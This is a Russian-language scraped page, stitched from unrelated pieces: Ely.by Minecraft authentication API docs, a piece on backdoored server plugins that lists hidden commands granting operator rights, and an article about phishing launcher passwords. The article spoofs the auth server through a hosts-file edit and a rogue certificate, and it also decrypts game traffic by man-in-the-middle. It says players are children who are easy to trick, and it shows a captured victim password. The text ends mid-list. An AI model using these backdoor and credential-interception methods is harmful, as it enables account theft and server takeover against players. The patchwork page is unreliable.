Как узнать токен майнкрафт аккаунта
Перейти к содержимому

Как узнать токен майнкрафт аккаунта

  • автор:

Авторизация для Minecraft¶

Здесь приведена информация по авторизации для лаунчеров и серверов Minecraft через сервис авторизации Ely.by.

Протокол авторизации реализован максимально похожим на оригинальный протокол авторизации Mojang, но тем не менее эта документация описывает все доступные функции конкретно сервиса авторизации Ely.by.

Общие положения¶

  • Все запросы должны выполняться на URL https://authserver.ely.by.
  • При успешном запросе, сервер вернёт ответ со статусом 200. Любой другой код свидетельствует об ошибке.
  • Сервер всегда отвечает JSON данными, кроме случаев системных ошибок и ответов на legacy запросы. Учитывайте это для отображения пользователю правильного сообщения об ошибке.
  • В случае стандартной ошибки, вы получите следующие данные:
 "error": "Краткое описание ошибки", "errorMessage": "Более длинное описание ошибки на английском языке, пригодное для отображения пользователю." > 

Предусмотренные ошибки¶

В отличие от оригинального протокола, на Ely применяется меньший зоопарк ошибок:

Вы передали неполный список данных для выполнения запроса.

Внимательно перепроверьте что вы шлёте в запросе и что указано в документации.

Пользователь ввёл/разработчик передал неверные значения.

Необходимо вывести пользователю уведомление о неправильно введённых данных.

Для индикации ошибки Not Found используется ответ с 404 статусом.

Авторизация в лаунчере¶

В этом разделе описана авторизация для игрового лаунчера и описывает действия, необходимые для получения accessToken для игрового клиента Minecraft. В результате авторизации будет получен JWT-токен с правами доступа minecraft_server_session .

Мы рекомендуем использовать протокол авторизации OAuth 2.0 с запросом прав доступа minecraft_server_session , как более безопасный и удобный для пользователя метод.

POST /auth/authenticate

Непосредственная авторизация пользователя, используя его логин (ник или E‑mail), пароль и токен двухфакторной аутентификации.

  • username (string) – Никнейм пользователя или его E‑mail (более предпочтительно).
  • password (string) – Пароль пользователя или комбинация пароль:токен .
  • clientToken (string) – Уникальный токен лаунчера пользователя.
  • requestUser (bool) – Если поле передано как true , то в ответе сервера будет присутствовать поле user .

Система аккаунтов Ely.by поддерживает защиту пользователей посредством двухфакторной аутентификации. В оригинальном протоколе авторизации Mojang не предусмотрено возможности для передачи TOTP-токенов. Для решения этой проблемы и сохранения совместимости с реализацией сервера Yggdrasil, мы предлагаем передавать токен в поле password в формате пароль:токен .

К сожалению, не все пользователи осведомлены об этой возможности, поэтому будет лучше при получении ошибки о защищённости аккаунта пользователя двухфакторной аутентификацией явно запросить у него токен и склеить его программно.

    Если пользователь указал верные логин и пароль, но для его аккаунта включена двухфакторная аутентификация, вы получите ответ с 401 статусом и следующим содержимым:

 "error": "ForbiddenOperationException", "errorMessage": "Account protected with two factor auth." > 

Если все данные будут переданы верно, вы получите следующий ответ:

 "accessToken": "Длинная_строка_содержащая_access_token", "clientToken": "Переданный_в_запросе_client_token", "availableProfiles": [  "id": "UUID_пользователя_без_дефисов", "name": "Текущий_username_пользователя" > ], "selectedProfile":  "id": "UUID_пользователя_без_дефисов", "name": "Текущий_username_пользователя" >, "user":  /* Только если передан параметр requestUser */ "id": "UUID_пользователя_без_дефисов", "username": "Текущий_username_пользователя", "properties": [  "name": "preferredLanguage", "value": "ru" > ] > > 

POST /auth/refresh

Обновляет валидный accessToken . Этот запрос позволяет не хранить на клиенте его пароль, а оперировать только сохранённым значением accessToken для практически бесконечной возможности проходить авторизацию.

  • accessToken (string) – Уникальный ключ, полученный после авторизации.
  • clientToken (string) – Уникальный идентификатор клиента, относительно которого получен accessToken.
  • requestUser (bool) – Если поле передано как true , то в ответе сервера будет присутствовать поле user .

В оригинальном протоколе так же передаётся значение selectedProfile , но в реализации Mojang он не влияет ни на что. Наша реализация сервера авторизации игнорирует этот параметр и опирается на значения accessToken и clientToken .

В случае получения какой-либо предусмотренной ошибки, следует заново запросить пароль пользователя и произвести обычную авторизацию.

 "accessToken": "Новая_длинная_строка_ содержащая_access_token", "clientToken": "Переданный_в_запросе_client_token", "selectedProfile":  "id": "UUID_пользователя_без_дефисов", "name": "Текущий_username_пользователя" >, "user":  /* Только если передан параметр requestUser */ "id": "UUID_пользователя_без_дефисов", "username": "Текущий_username_пользователя", "properties": [  "name": "preferredLanguage", "value": "ru" > ] > > 

POST /auth/validate

Этот запрос позволяет проверить валиден ли указанный accessToken или нет. Этот запрос не обновляет токен и его время жизни, а только позволяет удостовериться, что он ещё действительный.

accessToken (string) – Токен доступа, полученный после авторизации.

Успешным ответом будет являться пустое тело. При ошибке будет получен 400 или 401 статус. Пример ответа сервера при отправке истёкшего токена:

 "error": "ForbiddenOperationException", "errorMessage": "Token expired." > 

POST /auth/signout

Этот запрос позволяет выполнить инвалидацию всех выданных пользователю токенов.

  • username (string) – Никнейм пользователя или его E-mail (более предпочтительно).
  • password (string) – Пароль пользователя.

Успешным ответом будет являться пустое тело. Ориентируйтесь на поле error в теле ответа.

Запрос позволяет инвалидировать accessToken. В случае, если переданный токен не удастся найти в хранилище токенов, ошибка не будет сгенерирована и вы получите успешный ответ.

  • accessToken (string) – Уникальный ключ, полученный после авторизации.
  • clientToken (string) – Уникальный идентификатор клиента, относительно которого получен accessToken.

Успешным ответом будет являться пустое тело. Ориентируйтесь на поле error в теле ответа.

Авторизация на сервере¶

Эти запросы выполняются непосредственно клиентом и сервером при помощи внутреннего кода или библиотеки authlib (начиная с версии 1.7.2). Они актуальны только в том случае, если вы уже произвели авторизацию и запустили игру с валидным accessToken. Вам остаётся только заменить пути внутри игры/библиотеки на приведённые ниже пути.

Поскольку непосредственно изменить что-либо в работе authlib или игры вы не можете, здесь не приводятся передаваемые значения и ответы сервера. При необходимости вы сможете найти эту информацию самостоятельно в интернете.

Через authlib¶

Эта часть документации описывает запросы, выполняемые через authlib в версии игры 1.7.2+. Для более старых версий смотрите раздел ниже.

Все запросы из этой категории выполняются на подуровень /session. Перед каждым из запросов указан тип отправляемого запроса.

Запрос на этот URL производится клиентом в момент подключения к серверу с online-mode=true.

Запрос на этот URL выполняет сервер с online-mode=true после того, как клиент, пытающийся к нему подключиться, успешно выполнит join запрос. Текстуры будут подписаны ключом Ely.by.

Ключ для проверки подписи можно получить через сервер системы скинов .

В редких случаях поле signature будет иметь значение Cg== . При таком значении поля подписи проводить её проверку не нужно, т.к. она всегда будет некорректной.

Для старых версий¶

Эта часть документации описывает запросы, выполняемые более старыми версиями Minecraft, в которых не применялась библиотека Authlib. Это все версии ниже 1.7.2.

Все запросы из этой категории выполняются на подуровень /session/legacy. Перед каждым из запросов указан тип отправляемого запроса.

Принцип обработки этих запросов такой же, как и для authlib, отличие только во входных параметрах и возвращаемых значения.

Запрос на этот URL производится клиентом в момент подключения к серверу с online-mode=true.

Запрос на этот URL выполняет сервер с online-mode=true после того, как клиент, пытающийся к нему подключится, успешно выполнит join запрос.

Важно не потерять GET параметр ?user= в конце обоих запросов, чтобы получились следующие URL: http://minecraft.ely.by/session/legacy/hasJoined?user= .

Одиночная игра¶

По сути, одиночная игра — это локальный сервер, созданный для одного игрока. По крайней мере это так, начиная с версии 1.6, в которой и был представлен механизм локальных серверов.

Тем не менее, описанный ниже запрос актуален только для Minecraft 1.7.6+, когда для загрузки скинов стала использоваться так же Authlib.

Запрос на этот URL выполняется клиентом в одиночной игре на локальном сервере (созданном посредством самой игры). В URL передаётся UUID пользователя, с которым был запущен клиент, а в ответ получается информация о текстурах игрока в таком же формате, как и при hasJoined запросе.

Готовые библиотеки authlib¶

Ely.by поддерживает библиотеку authlib-injector. Это наиболее простой и универсальный способ установки системы авторизации в игру и игровые сервера. За подробностями обратитесь в соответствующий раздел документации .

Поскольку самостоятельная реализация связана с трудностями поиска исходников, подключения зависимостей и в конце-концов с процессом компиляции, на странице загрузок нашей системы скинов вы можете загрузить уже готовые библиотеки со всеми необходимыми изменениями. Выберите в выпадающем списке необходимую версию и следуйте инструкции по установке, размещённой на той же странице ниже.

В более ранних версиях игры система скинов находилась внутри игрового клиента, так что библиотеки ниже обеспечивают лишь авторизацию:

  • Minecraft 1.7.5 — authlib 1.3.1
  • Minecraft 1.7.2 — authlib 1.3

Для установки вам необходимо заменить оригинальную библиотеку, располагающуюся по пути /libraries/com/mojang/authlib/ . Убедитесь в том, что версии скачанного и заменяемого файлов совпадают.

Установка authlib на сервер¶

Сервер также использует authlib для выполнения авторизации игрока, поэтому соответствующие изменения должны быть также применены и к нему. Ниже приведены инструкции по установки authlib для различных реализаций сервера Minecraft.

Если ни одна из приведённых ниже инструкций не подошла для вашей реализации сервера, пожалуйста, создайте новый issue и мы допишем инструкцию для вашего сервера.

Оригинальный сервер¶

С помощью архиватора откройте файл сервера minecraft_server.ВЕРСИЯ.jar . Таким же образом откройте архив с authlib для соответствующей версии сервера. Перед вами будет два окна: одно с файлами сервера, другое с файлами authlib. Вам необходимо «перетащить» из архива с authlib все файлы и папки, за исключением директории META-INF, и подтвердить замену.

Процесс установки Authlib

Обратите внимание: «перетягивать» содержимое нужно ниже папок сервера (в область файлов .class). ¶

После этих действий вы можете закрыть оба окна и в файле server.properties установить значение online-mode=true .

Bukkit/Spigot¶

Сперва выполните установку, как она описана для оригинального сервера. Затем скачайте библиотеки commons-io и commons-lang3, после чего аналогичным с authlib образом последовательно переместите содержимое скачанных архивов в файлы сервера.

Forge/Sponge¶

Прежде чем производить установку, необходимо определить, какой именно файл подлежит модификации:

  • >=1.16: libraries/net/minecraft/server/ВЕРСИЯ-ЦИФРЫ/server-ВЕРСИЯ-ЦИФРЫ-extra.jar .
  • 1.13-1.15: libraries/net/minecraft/server/ВЕРСИЯ/server-ВЕРСИЯ-extra.jar .
  • : minecraft_server.ВЕРСИЯ.jar .

Когда необходимый файл найден, выполните для него установку authlib, аналогично оригинальному серверу.

Paper (PaperSpigot)¶

Установка производится по аналогии с Bukkit/Spigot в файл cache/patched-ВЕРСИЯ.jar . После внесения изменений, запускать сервер нужно через jar-файл из директории cache , поскольку в противном случае Paper восстановит исходное состояние файла:

До: java -jar paper-ВЕРСИЯ-БИЛД.jar
После: java -jar cache/patched-ВЕРСИЯ.jar

BungeeCord¶

Вы можете воспользоваться библиотекой authlib-injector для установки системы авторизации без модификации внутренностей сервера.

Хотя BungeeCord и является проксирующим сервером, авторизацию игроков он выполняет самостоятельно. К сожалению, BungeeCord не опирается на использование Authlib, а реализует процесс авторизации самостоятельно, поэтому для установки системы авторизации Ely.by вам понадобится модифицировать скомпилированные .class файлы.

Для установки следуйте инструкции ниже:

  1. Скачайте программу InClassTranslator (прямых ссылок не даём, но его легко найти).
  2. С помощью архиватора откройте файл BungeeCord.jar .
  3. Перейдите по пути net/md_5/bungee/connection и найдите там файл InitialHandler.class (без каких-либо символов $).
  4. Распакуйте этот файл. В самом простом случае сделать это можно просто «вытянув» его из окна архиватора.
  5. Откройте распакованный файл в программе InClassTranslator и замените в нём строку https://sessionserver.mojang.com/session/minecraft/hasJoined?username= на https://authserver.ely.by/session/hasJoined?username= , как показано на рисунке ниже:

Редактирование в InClassTranslator

Перетаскивание отредактированного файла назад в архив

После выполнения этих действий вы можете указать в файле конфигурации BungeeCord ( config.yml ) значение online_mode=true .

Мы также рекомендуем выполнить установку Authlib на все сервера позади BungeeCord. Это может быть необходимо для плагинов, которые используют API Mojang. Инструкция по установке на конечные сервера приведена выше.

При этом все сервера должны иметь в своей конфигурации ( server.properties ) значение online-mode=false , поскольку пользователи уже авторизованы силами BungeeCord.

Установка на версии ниже 1.7.2¶

Для более старых версий существует достаточно большое многообразие различных случаев, раскрыть которые в этой документации не представляется возможным. Вся установка заключается в замене определённых строк в определённых классах через InClassTranslator.

На форуме RuBukkit есть отличный пост, в котором собрана вся нужна информация по именам классов на различных версиях Minecraft. Переписывать его сюда не имеет смысла, так что просто перейдите на его страницу и найдите нужную версию.

Пример установки¶

Предположим, что вы хотите установить авторизацию на сервер версии 1.5.2.

Сначала вы переходите по вышеприведённой ссылке, выбираете нужную версию (1.5.2) и видите список классов:

  • bdk.class — путь до joinserver
  • jg.class — путь до checkserver

Затем вы должны взять .jar файл клиента и открыть его любым архиватором. После чего вам необходимо найти файл bdk.class. Для этого удобно воспользоваться поиском.

После того, как вы нашли файл, его нужно извлечь из архива — просто перетащите его оттуда в удобную для вас дирикторию.

Дальше запустите InClassTranslator и в нём откройте этот класс. Слева будет список найденных в файле строк, которые вы можете изменить. Нужно заменить только строку, отвечающую за запрос на подключение к серверу:

Порядок редактирования: выбрать нужную строку, изменить, сохранить.

После этого вам нужно положить изменённый .class обратно в .jar файл игры.

Ту же самую операцию вам необходимо провести и с сервером, только заменить ссылку на hasJoined.

После этих действий вам нужно в настройках включить online-mode=true и сервер станет пускать на себя только тех игроков, которые будут авторизованы через Ely.by.

© Copyright 2024, Ely.by.

Как взламывают сервера в Minecraft

Лучше этой пикчи ничего интересного не отыскал. Но подходит под тему идеально!Как взламывают сервера в MinecraftКак взламывают сервера в Minecraft Как взламывают сервера в Minecraft

Ещё смешнее способ, суть его состоит в вшитом эксплоите в плагине. Точнее, в вшитой команде внутри плагина. Этим способом пользовались Ютуберы в Ру сегменте по майнкрафту, снимая «Сливы школо-серверов». Они загружали готовые сборки серверов на форумы по игре, загружали в эти сборки плагин, в котором сидел злой Эксплоит.

Список подобных команд, которые вшивали в плагины. После их выполнения выдавался полный доступ (в плагине Пермишенс выдавалась «*» эта звёздочка в плагине значит, что вам выдаются права на все команды)

Взлом через бибилотеку — /signa

Флуд Протект — /fp help 18971712

АвтоСообщение — /am add название листа, — /am название команда

/sudo — СвойНик команда_без_слеша

/server — назввание сервера, или же можно зайти под ником md_5 и у него есть эта команда и можете тпхать любого

/send — назввание сервера, или же можно зайти под ником md_5 и у него есть эта команда и можете тпхать любого

/ncp delay op ник- выполняет команду от лица консоли

/hack

/sigma

/core

/hoTb43fd help 18971712

/nethernetwork2skingworld76

/eb give me op

Под конец

Способ, с которым столкнулся наш проект. В плагине сохранения мира, была целая строчка, которая связанна с прямым доступом к файлам сервера. Если поставить не то значение — можно слить полную сборку сервера. Просто выкачать. У нас такое произошло, самый жуткий косяк. Но к счастью, на нас данный слив почти не повлиял.

Разбор шифрования в Minecraft

Привет. Знаете про Minecraft? Да-да это та самая нашумевшая игра из 2014 про кубики, дракона и злых школьников, которые объединились в невероятной амальгаме. В игре есть как singleplayer, так и multiplayer. Но что шифровать в одиночке? (Хотя идея защитить свою карту паролем, чтобы негодяи не убили вашего верного пса, довольно заманчива).

верный пёс

Сегодня я расскажу про то, как работает шифрование в многопользовательском режиме. Но сначала нужно определиться с инструментарием.
Вот что я буду использовать:

  1. MCWP MITM прокси для исследования протокола майнкрафт.
  2. yggdrasil-server Сервер авторизации, похожий на тот что использует mojang для лицензионных аккаунтов. И да, все команды приведены для Windows.

Протокол майнкрафт

Мультиплеер майнкрафт построен на клиент-серверной архитектуре поверх tcp. По официальным данным начиная с версии 1 (до этого были еще альфа и бета) сетевая подсистема игры построена на фреймворке Netty (Java).
Если сильно упростить, то роли клиента и сервера сведены к выполнению в цикле этих действий:

Для клиента
  • Подключается к серверу
  • Подтверждает свой юзернейм (если сервер отправит Encryption Request)
  • Загружает и рисует карту
  • Перемещается по карте и отправляет свою позицию
  • Взаимодействует с остальными миром и отправляет события на сервер
  • Получает и проигрывает события от сервера
Для сервера
  • Принимает игроков
  • Проверяет их юзернеймы (если online-mode: true)
  • Генерирует карту и отправляет клиентам
  • Получает события и позицию от игроков и передает другим игрокам

Как устроены аккаунты в Minecraft

Майнкрафт — платная игра. И основной причиной использования криптографии в ней была именно аутентификация, то есть определение лицензионных игроков и подтверждение их доступа. А шифрование было уже бонусом.

И хотя игра может работать без лицензии (изначально этот режим создавался для игры без доступа к сети интернет, когда нельзя проверить подлинность игрока, и называется в файлах конфигурации online-mode: false) без аутентификации пользователя шифрование не включается.

Кстати, сам Notch (создатель игры) говорил про пиратов так: «Качайте пиратку. Если она все также будет нравиться Вам в будущем, когда Вы сможете позволить ее себе, тогда и купите. Также не забудьте почувствовать себя плохо;)».

создатель майнкрафт

Лицензионной копией считается та, которая была куплена на сайте разработчика и имеет аккаунт Mojang (или Microsoft). А также привязанный к этому аккаунту uuid. UUID — это уникальный идентификатор каждого из игроков майнкрафт. Он не меняется даже после смены никнейма в игре.

Процесс обмена информацией с реестром аккаунтов (сервером аутентификации и авторизации) начинается еще задолго до подключения к серверу.

Рассмотрим поэтапно:
  1. Игрок заходит в лаунчер(программа для запуска игры)
  2. Игрок вводит пароль и логин от аккаунта
  3. Лаунчер отправляет их на сервер и если они верны получает токен
  4. Лаунчер хранит и обновляет токен при каждом входе в игру

Могу я украсть ваш аккаунт?

Уже заметили? Лаунчер отправляет логин и пароль игрока на сервер. Да, через https, но что нам мешает узнать логин и пароль подменив сервер авторизации? Так и поступим.
Разворачиваем yggdrasil-server:
Потребуется Python 3.8+

// Клонируем репозиторий git clone https://gitlab.com/seeklay/yggdrasil-server.git cd yggdrasil-server/
// Разрешаем и устанавливаем зависимости python3 -m pip install -r requirements.txt
// Запускаем свой сервер авторизации + сервер сессий sanic --cert x509/fullchain.crt --key x509/cert.key -d -p 443 server.app

Теперь нужно заставить лаунчер жертвы доверять нашему tls сертификату. Раньше, лаунчер был, как и сама игра просто .jar файлом и заполучить его доверие можно было так же просто, как и клиента игры, но теперь лаунчер это нативная .exe программа которая использует корневые сертификаты системы. Углубляться в то, как креативно можно заставить жертву понажимать пару неизвестных кнопок не будем, но посчитаем что этот этап уже пройден. Тогда остается направить запросы на наш сервер. Например, изменя ip домена authserver.mojang.com на ip собственного сервера в файле hosts.

Теперь, когда жертва захочет зайти в игру, она разлогинится в лаунчере, так как сессия не зарегистрирована на нашем сервере. И клиенту придется ввести логин и пароль от его аккаунта. Когда это произойдет, в консоли сервера авторизации мы увидим это:

[DEBUG] AuthenticateRequest( agent=AuthenticateRequestAgent(name='Minecraft', version='1'), username='habr', password='newjersey', clientToken='4feb4d1fe82446d2aa4eb3d20f8c9ffd', requestUser='true') [INFO] attempt to authenticate as habr but user not exists

В дебаг логе видно данные учетной записи. Атака удалась. А игрок так и не смог войти в лаунчер, так как такого пользователя на нашем сервере не было.
Да, это выглядит интересно, но как заставить игрока установить корневой сертификат и отредактировать hosts?
Игроки майнкрафт в основном — дети и обмануть их проще всего. Хочешь скачать новый мод на слона в майнкрафт? Скачай наш .exe нажми два раза и при запросе прав администратора нажми — да, и все слон — твой, а точнее кот в мешке.
Но да, это по сути глупость ведь попадя на компьютер пользователя и получив права администратора можно сделать гораздо ‘больше’.

Я никого не призываю кого-либо взламывать или обманывать таким или любым другим способом. Вся ответственность за интерпретацию этого текста как побуждения к действию лежит на вас.

Могу я узнать местоположение ваших алмазов?

Хорошо, мы узнали, что можно подменить сервер авторизации. Но что, если подменить сервер аутентификации (сервер сессий) который отвечает за подтверждение того, что игрок с конкретным uuid и никнеймом входит на сервер?

Для этого потребуется локальный игровой сервер, но его установку я показывать не буду. Также потребуется лицензионный аккаунт (ну да), или «локальный» на yggdrasil-server.
Чтобы увидеть, какими пакетами обмениваются сервер и клиент, воспользуемся mcwp.
Python 3.7+

// Устанавливаем MCRP python3 -m pip install MCRP
// Запускаем MTIM прокси mcwp -v -c examples\conf_blacklist.yaml

Заходим на порт прокси, и видим в консоли такую картину:

[02/24/2023 02:15:12 PM] [INFO] MCRP: Waiting for client connection. [02/24/2023 02:15:14 PM] [INFO] MCRP: New client, creating connection to the server [02/24/2023 02:15:14 PM] [INFO] MCRP: Connected to the server [02/24/2023 02:15:14 PM] [INFO] MCRP: Reseting state to Handshaking [02/24/2023 02:15:14 PM] [INFO] root: ServerBound Handshaking.Handshake(ProtoVer=47, ServerName='lc', ServerPort=25565, NextState=NextState.Login) [02/24/2023 02:15:14 PM] [INFO] MCRP: State changed to state.Login, trying to load protocol v47 [02/24/2023 02:15:14 PM] [INFO] MCRP: Successfuly loaded protovol v47 [02/24/2023 02:15:14 PM] [DEBUG] root: Selected proto version is: 47, building filter. [02/24/2023 02:15:14 PM] [DEBUG] root: Filtering mode: ClB: blacklist / SvB: blacklist, filtered packets: [02/24/2023 02:15:14 PM] [INFO] root: ServerBound ClassicLogin.LoginStart(Username='m7') [02/24/2023 02:15:14 PM] [INFO] root: ClientBound ClassicLogin.EncryptionRequest(ServerID='', PublicKey=b'0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\x94\xcb\xd0\xb1\xf0\x99\xd6\x99m\xe5\x00\xb14\'>\xb3\xbf\x94\xcd\x14z~\x10\xdf2\t6%\x1anh\xc9\x18\x10\xf03\xd9@0!9

Что мы видим? Сервер посылает запрос на включение шифрования, и клиент на него отвечает, а затем они оба включают симметричное шифрование AES.
После включения шифрования mcwp уже не показывает дальнейший обмен пакетами, так как не может их расшифровать, ведь не знает ключ.
Но так у меня нет лицензионного аккаунта майнкрафт, и аккаунт m7 зарегистрирован локально на сервере yggdrasil-server и сервер тоже использует этот сервер аутентификации, мы можем расшифровать это соединение загрузив в mcwp модуль для локальной дешифровки.

Попробуем еще раз:

// Запускаем с модулем дешифровки (требуется версия mcwp >= 0.1.7-pre1) mcwp -c examples\conf_blacklist.yaml -v -d md -ll

И сразу видим отличия в логе инициализации:

[02/24/2023 02:22:30 PM] [INFO] MCRP: Running MCRP v0.1.7-pre1 (cubelib version 1.0.4-pre1) [02/24/2023 02:22:30 PM] [INFO] MCRP: Proxying config is: 127.0.0.1:25565 -> 127.0.0.1:25575 [02/24/2023 02:22:30 PM] [INFO] MCRP: Using protocol decryptor: Yggdrasil-Server-DecMod/v0.1 [02/24/2023 02:22:30 PM] [DEBUG] MCRP/CRYPTO: Generating 1024 RSA key. [02/24/2023 02:22:30 PM] [INFO] MCRP: Registred direct handlers list[1]: [02/24/2023 02:22:30 PM] [INFO] MCRP: [02/24/2023 02:22:31 PM] [INFO] MCRP: Registred relative handlers list[0]: [02/24/2023 02:22:31 PM] [DEBUG] MCRP: Entering mainloop [02/24/2023 02:22:31 PM] [INFO] MCRP: Waiting for client connection. 

Видно что используется дешифратор протокола и был сгенирирован ключ RSA.
Подключаемся еще раз и смотрим в консоль:

[02/24/2023 02:22:31 PM] [INFO] MCRP: Waiting for client connection. [02/24/2023 02:24:52 PM] [INFO] MCRP: New client, creating connection to the server [02/24/2023 02:24:52 PM] [INFO] MCRP: Connected to the server [02/24/2023 02:24:52 PM] [INFO] MCRP: Reseting state to Handshaking [02/24/2023 02:24:52 PM] [INFO] root: ServerBound Handshaking.Handshake(ProtoVer=47, ServerName='lc', ServerPort=25565, NextState=NextState.Login) [02/24/2023 02:24:52 PM] [INFO] MCRP: State changed to state.Login, trying to load protocol v47 [02/24/2023 02:24:52 PM] [INFO] MCRP: Successfuly loaded protovol v47 [02/24/2023 02:24:52 PM] [DEBUG] root: Selected proto version is: 47, building filter. [02/24/2023 02:24:52 PM] [DEBUG] root: Filtering mode: ClB: blacklist / SvB: blacklist, filtered packets: [02/24/2023 02:24:52 PM] [INFO] root: ServerBound ClassicLogin.LoginStart(Username='m7') [02/24/2023 02:24:52 PM] [INFO] root: ClientBound ClassicLogin.EncryptionRequest(ServerID='', PublicKey=b'0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\x94\xcb\xd0\xb1\xf0\x99\xd6\x99m\xe5\x00\xb14\'>\xb3\xbf\x94\xcd\x14z~\x10\xdf2\t6%\x1anh\xc9\x18\x10\xf03\xd9@0!9\xea\xc1\xf27u\xba\x82q\xc4y\xdf\xab\xa4\xee\xe3\xe8!N\x1dgi^\xa9\x16\xd2\x0cL?\x89Nb9\xf3\xffE\r\xd2a\x8dk\xc4\x89/S", VerifyToken=b'x^\xea\x8e\x14Q4a\x08\xd4\xe9\xcb\xb2t\x0eZO\xd0\x92(YdL\xdf\x12\x90\xd6\xe6g\x93\x156\xc8\xdb\xf0\xc3m\xf4\xb8\xf7\xaa\xd0\x10\xc4?\xee\x8f\\5\xe3\rn\xa7m#6 \xf3kz\x91Y\x84#\xc0PC\xc5\xc1\xb4r\xdd\xf7\xeb\r>)\xcc\x06\xd0\x18*-OU\xb0\t\x9a@\xb0\xca\x0c\xdb\xa7c\xd7\x82\x83\x02\x91\xc2\x89\xbe\xcf\x06\xf0\x1f\x0b\x8b1\xcb\xc9\xf6a1\xa1\xae\x0b6\x0f\xd0\x9a\x92\xa31\xca\xdcZ') -2c7e3678d40eeed418b5a9aa77351bfa0aacf01f -ca65db73b3f1b81bdc337f7cc70b433703a0e98 [02/24/2023 02:24:53 PM] [DEBUG] urllib3.connectionpool: Starting new HTTPS connection (1): sessionserver.mojang.com:443 C:\Python\Python3\lib\site-packages\urllib3\connectionpool.py:1020: InsecureRequestWarning: Unverified HTTPS request is being made to host 'sessionserver.mojang.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings InsecureRequestWarning, [02/24/2023 02:24:53 PM] [DEBUG] urllib3.connectionpool: https://sessionserver.mojang.com:443 "POST /hjk HTTP/1.1" 204 0 [02/24/2023 02:24:53 PM] [INFO] MCRP: Protocol encryption is set, but you provided a shared secret [02/24/2023 02:24:53 PM] [INFO] MCRP: Shared secret: 46b55ab74e3e950a62fe96d99de2a420 [02/24/2023 02:24:53 PM] [INFO] root: ClientBound ClassicLogin.SetCompression(Threshold=256) [02/24/2023 02:24:53 PM] [INFO] MCRP: Point of switching-on compression with threshold 256 [02/24/2023 02:24:53 PM] [INFO] root: ClientBound ClassicLogin.LoginSuccess(UUID='917cd927-86a2-42cd-b7b0-b1838ea4c933', Username='m7') [02/24/2023 02:24:53 PM] [INFO] MCRP: State changed to state.Play [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.JoinGame(EntityID=114, Gamemode=1, Dimension=0, Difficulty=1, MaxPlayers=20, LevelType='default', ReducedDebugInfo=False) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.PluginMessage(Channel='MC|Brand', Data=b'\x06Spigot') [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.ServerDifficulty(Difficulty=1) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.SpawnPosition(Location=(-1, -1, -1)) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.PlayerAbilities(Flags=15, FlyingSpeed=0.05000000074505806, FOVModifier=0.10000000149011612) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.HeldItemChange(Slot=0) [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.Statistics(Count=0, Data=b'') [02/24/2023 02:24:53 PM] [INFO] root: ClientBound Play.ChatMessage(Json_Data='<"extra":[<"color":"yellow","text":"m7 joined the game">],"text":"">', Position=1)

Теперь мы видим все пакеты, которые передаются между клиентом и сервером (локальным сервером, который использует наш 'игрушечный' сервер авторизации).
Видя все пакеты, теперь мы можем отслеживать местоположение игрока и узнать где его дом. (ну и забрать алмазы конечно)

Разбор шифрования в Minecraft

Как работает шифрование в майнкрафт и как его можно расшифровать.
У протокола майнкрафт есть 3 состояния: Рукопожатие, Вход в игру, Игра.

Рассмотрим поближе что и кому отсылают сервер и клиент во время входа в игру:

  • Client -> Server: ClassicLogin.LoginStart(Username='m7')
    Клиент передает юзернейм, с которым хочет войти
  • Client Сервер передает свой публичный ключ и токен проверки
  • Client -> SessionServer: SessionJoin(accessToken, selectedProfile, serverId)
    Клиент передает на сервер сессий информацию о сервере к которому собирается подключится.

Клиент фактически говорит: у меня есть действительный токен 123 связанный с юзернеймом m7 и я хочу зайти на сервер с sha1(публичным ключем 456 и общим секретом 789)

  • Client -> Server: ClassicLogin.EncryptionResponse(SharedSecret, VerifyToken)
    Клиент отвечает зашифрованными публичным ключем сервера, симметричным ключем и токеном проверки

Разбор дешифрования

  • Когда сервер запрашивает у клиента включение шифрования, он посылает ему свой публичный ключ RSA и данные проверки, которые клиент должен зашифровать ключем сервера.
  • Когда прокси видит этот пакет, он подменяет ключ и/или данные проверки на собственные. Это нужно, что-бы когда клиент ответит общим симметричным ключем, зашифрованным публичным ключем сервера, мы могли его расшифровать и сохранить для расшифровки последющих сообщений.
  • Затем клиент отвечает общим симметричным ключем и рандомными данными, которые отправил сервер, но зашифрованные публичным ключем сервера. А перед тем как ответить, клиент делает запрос на sessionserver.mojang.com и отправляет туда свой токен, полученный при авторизации, и хеш sha1(shared_secret + public_key). Это нужно для защиты от атаки человека по середине, который подменит публичный ключ (но не подменит сессию).
  • Когда прокси получает ответ от клиента, он обращается к серверу сессий и дает команду подменить sha1(shared_secret + proxy_public_key) на sha1(shared_secret + server_public_key).
  • Когда сервер получает ответ от прокси, он обращается к серверу сессий на конечную точку session/minecraft/hasJoined с serverId, равным sha1(shared_secret + server_public_key) с общим секретом и username получеными от клиента, но так как прокси подменил serverId, сервер получает ответ 204 от сервера сессий (означает что проверка юзернейма прошла успешно) и подтверждает вход в игру пакетом LoginSuccess(UUID='917cd927-86a2-42cd-b7b0-b1838ea4c933', Username='m7') который передаётся уже зашифрованным с помощью общего секрета и шифра AES.

Еще по теме (англ)

  • https://wiki.vg/Protocol_Encryption#Authentication
  • https://wiki.vg/Legacy_Mojang_Authentication#Authenticate

Как войти в игру через Microsoft аккаунт

Если кому нибудь надо войти через лицензинный аккаунт, может пригодится.
Проблема в том, что игра в IDE запускается без лаунчера и нету способа залогинится через Microsoft аккаунт. И вот я решил поделится способом, как это можно сделать именно в IDE.

  1. официальный лаунчер, привязанный к Microsoft аккаунту;
  2. установленный Forge на официальном лаунчере;
  3. возможность создания модов на Forge или Fabric.
